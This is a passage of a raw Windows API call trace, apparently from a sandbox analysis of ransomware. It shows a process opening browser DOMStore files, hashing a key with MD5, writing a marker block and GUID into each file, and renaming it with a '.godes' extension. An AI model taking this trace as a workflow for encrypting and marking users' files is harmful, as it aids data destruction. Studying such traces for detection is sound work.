returned 1 [0115.610] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0115.610] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0115.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.611] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=13) returned 1 [0115.611] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.612] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.612] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd, lpOverlapped=0x0) returned 1 [0115.613] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.613] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.613] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.613] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.614] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.614] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.614] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.614] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.614] GetLastError () returned 0x0 [0115.614] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.614] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.614] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.614] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.614] WriteFile (in: hFile=0x624, lpBuffer=0x3b2fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3b2fb34*, lpNumberOfBytesWritten=0x3b2fb24*=0x8, lpOverlapped=0x0) returned 1 [0115.615] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.615] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.615] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.615] CloseHandle (hObject=0x624) returned 1 [0115.615] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.godes")) returned 1 [0115.616] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.616] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.617] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0115.617] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251a80 | out: hHeap=0x660000) returned 1 [0115.617] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0115.617] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.618] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323eee0 [0115.618] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.619] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.619] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.619] PathFindFileNameW (pszPath="") returned="" [0115.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.620] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.620] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0115.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.620] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0115.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.621] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=13) returned 1 [0115.621] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.623] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.623] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd, lpOverlapped=0x0) returned 1 [0115.624] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.624] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.624] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.624] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.625] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.625] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.625] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.625] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.625] GetLastError () returned 0x0 [0115.625] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.625] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.625] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.625] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.625] CloseHandle (hObject=0x624) returned 1 [0115.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.godes")) returned 1 [0115.627] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0115.627] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.627] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0115.627] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, 